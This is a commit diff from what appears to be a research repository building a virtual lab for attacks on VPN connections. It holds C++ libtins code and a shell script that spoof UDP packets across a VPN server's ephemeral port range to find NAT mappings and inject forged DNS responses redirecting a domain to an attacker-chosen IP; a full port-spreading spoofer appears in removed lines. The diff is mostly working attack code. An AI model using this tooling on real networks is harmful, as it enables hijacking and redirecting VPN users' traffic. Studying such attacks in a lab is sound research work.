added client side attack env to virtual lab and server side tcp
This commit is contained in:
Beau Kujath committed
1 parent
da46460491
commit
0a4e3bb714
56 files changed
+1078
-28590
No files matched your search
@@ -227,7 +227,6 @@ int port_spread(string source_ip, int sport, string dest_ip, int start_port, int
|
||||
|
||||
IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
|
||||
current_spoof_port = spoof_port;
|
||||
//udp.dport(spoof_port); // set the packets dest port to current guess
|
||||
|
||||
int round_sends = 0;
|
||||
while (round_sends < 4) { // send 4 at a time then sleep again
|
||||
@@ -490,7 +489,7 @@ int send_dns(string src_ip, int sport, string dest_ip, int dport) {
|
||||
|
||||
cout << "Attempting to inject dns response on port " << dport << "\n\n";
|
||||
|
||||
string spoof_domain = "yo.com";
|
||||
string spoof_domain = "test.com";
|
||||
string redirect_ip = "22.22.22.22";
|
||||
injecting = true;
|
||||
|
||||
@@ -560,7 +559,7 @@ int find_ports(string source_ip, int sport, string dest_ip, int start_port, int
|
||||
|
||||
if (exact_port == 0) is_found = true;
|
||||
else {
|
||||
cout << "found some exact port: " << exact_port << "\n\n";
|
||||
cout << "found exact port: " << exact_port << "\n\n";
|
||||
print_time();
|
||||
|
||||
send_dns(source_ip, sport, dest_ip, exact_port);
|
||||
@@ -597,7 +596,7 @@ int main(int argc, char** argv) {
|
||||
source_ip = argv[1]; // dns server IP
|
||||
int sport = atoi(argv[2]); // most likely 53
|
||||
dest_ip = argv[3]; // vpn server IP
|
||||
verbose = true;
|
||||
//verbose = true;
|
||||
|
||||
int start_port = atoi(argv[4]); // Linux ephemeral range is (32768, 60999)
|
||||
int end_port = atoi(argv[5]);
|
||||
@@ -609,9 +608,6 @@ int main(int argc, char** argv) {
|
||||
|
||||
int res = find_ports(source_ip, sport, dest_ip, start_port, end_port);
|
||||
|
||||
//sniff_thread.join();
|
||||
//send_sniff_thread.join();
|
||||
|
||||
sniff_thread.detach();
|
||||
send_sniff_thread.detach();
|
||||
|
||||
|
||||
BIN
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
all:
|
||||
g++ -O3 -o uud_send send.cpp -lpthread -ltins -std=c++11
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,26 +0,0 @@
|
||||
#/bin/bash
|
||||
#
|
||||
|
||||
|
||||
START_PORT=42000
|
||||
END_PORT=62000
|
||||
|
||||
|
||||
SRC_IP=10.8.0.10
|
||||
#SRC_IP=$(ifconfig | grep inet | grep -w 10.8 | awk -F' ' '{print $2}' | awk -F':' '{print $2}')
|
||||
NOW=$(date '+%F %T')
|
||||
echo "Starting port fill at $NOW"
|
||||
|
||||
echo "Using tun src ip: $SRC_IP"
|
||||
echo "Filling up vpn port range from $START_PORT to $END_PORT.."
|
||||
|
||||
sudo ./uud_send 192.168.3.2 53 $SRC_IP $START_PORT $END_PORT
|
||||
|
||||
#sleep 1
|
||||
|
||||
#echo "Responding to all my own client probes to make sure they're kept in the table"
|
||||
|
||||
#sudo ./uud_send 192.168.3.2 54 192.168.2.2 $START_PORT $END_PORT 1
|
||||
|
||||
NOW1=$(date '+%F %T')
|
||||
echo "Finished port fill at $NOW1"
|
||||
@@ -1,165 +0,0 @@
|
||||
#include <tins/tins.h>
|
||||
#include <cassert>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <unistd.h>
|
||||
#include <thread>
|
||||
#include <random>
|
||||
|
||||
|
||||
using std::thread;
|
||||
using std::cout;
|
||||
using std::string;
|
||||
using std::vector;
|
||||
using namespace Tins;
|
||||
|
||||
|
||||
bool is_running = true;
|
||||
bool verbose = false;
|
||||
bool count_resp = false;
|
||||
|
||||
string dest_ip;
|
||||
string server_ip;
|
||||
|
||||
|
||||
void print_divider(int count) {
|
||||
int i = 0;
|
||||
while (i < count) {
|
||||
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
std::string random_string(std::size_t length) {
|
||||
|
||||
const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
||||
|
||||
std::random_device random_device;
|
||||
std::mt19937 generator(random_device());
|
||||
std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1);
|
||||
|
||||
string random_string;
|
||||
|
||||
for (std::size_t i = 0; i < length; ++i) {
|
||||
random_string += CHARACTERS[distribution(generator)];
|
||||
}
|
||||
|
||||
return random_string;
|
||||
}
|
||||
|
||||
|
||||
|
||||
// Spreads UDPs across the victim's entire port range
|
||||
// to find a port that is being used and the spoofed packets
|
||||
// get NAT'ed back to the client
|
||||
//
|
||||
int spread_uds(bool server_spread, string server_ip, int server_port, string dest_ip, int start_port, int end_port) {
|
||||
|
||||
PacketSender sender;
|
||||
NetworkInterface iface("enp0s9");
|
||||
int i;
|
||||
IP pkt;
|
||||
|
||||
if (server_spread) pkt = IP(dest_ip, server_ip) / UDP(start_port, server_port);
|
||||
else pkt = IP(server_ip, dest_ip) / UDP(server_port, start_port);
|
||||
|
||||
UDP& udp = pkt.rfind_pdu<UDP>();
|
||||
int spoof_port = start_port;
|
||||
|
||||
int send_size = 0;
|
||||
int send_count = 0;
|
||||
string send_payload = random_string(send_size);
|
||||
|
||||
|
||||
|
||||
cout << "spreading the port range from " << spoof_port << " to " << end_port << " with udps..\n";
|
||||
|
||||
|
||||
while (spoof_port < end_port) {
|
||||
|
||||
if (server_spread) udp.dport(spoof_port); // set the packets src port to current guess
|
||||
else udp.sport(spoof_port);
|
||||
sender.send(pkt, iface);
|
||||
spoof_port++;
|
||||
send_size ++;
|
||||
send_payload = random_string(send_size);
|
||||
//cout << "next rando string: " << send_payload << "\n";
|
||||
|
||||
// if the payload size reaches 1000 (max), reset back to 0
|
||||
if (send_size >= 1000) {
|
||||
send_size = 0;
|
||||
cout << "Sent w size 1000 to " << spoof_port << "\n";
|
||||
}
|
||||
|
||||
usleep(1);
|
||||
}
|
||||
|
||||
if (verbose) print_divider(2);
|
||||
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
|
||||
int fill_ports(bool server_spread, string source_ip, int sport, string dest_ip, int start_port, int end_port) {
|
||||
|
||||
bool filling = true;
|
||||
int current_port = 0;
|
||||
|
||||
while (filling) {
|
||||
|
||||
current_port = spread_uds(server_spread, source_ip, sport, dest_ip, start_port, end_port);
|
||||
print_divider(1);
|
||||
|
||||
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
|
||||
|
||||
count_resp = true;
|
||||
filling = false;
|
||||
print_divider(2);
|
||||
|
||||
}
|
||||
|
||||
return current_port;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
|
||||
cout << "arc twas: " << argc;
|
||||
|
||||
if (argc != 6 && argc != 7) {
|
||||
cout << "sike wrong number of args ---> (server_ip, server_port, dest_ip, start_port, end_port <enable_server_spread>)\n";
|
||||
return 0;
|
||||
}
|
||||
|
||||
server_ip = argv[1]; // dns server IP
|
||||
int server_port = atoi(argv[2]);
|
||||
dest_ip = argv[3]; // vpn server IP
|
||||
int start_port = atoi(argv[4]);
|
||||
int end_port = atoi(argv[5]);
|
||||
bool server_spread = false;
|
||||
|
||||
if (argc == 7) server_spread = true;
|
||||
|
||||
verbose = true;
|
||||
|
||||
string dest_mac = "";
|
||||
string src_mac = "";
|
||||
|
||||
print_divider(2);
|
||||
|
||||
|
||||
int p = fill_ports(server_spread, server_ip, server_port, dest_ip, start_port, end_port);
|
||||
|
||||
cout << p << "\n";
|
||||
print_divider(1);
|
||||
is_running = false;
|
||||
|
||||
if (verbose) cout << "Filled up all those ports and finished at: " << p << "\n";
|
||||
|
||||
return p;
|
||||
}
|
||||
Binary file not shown.
Reference in new issue
Block a user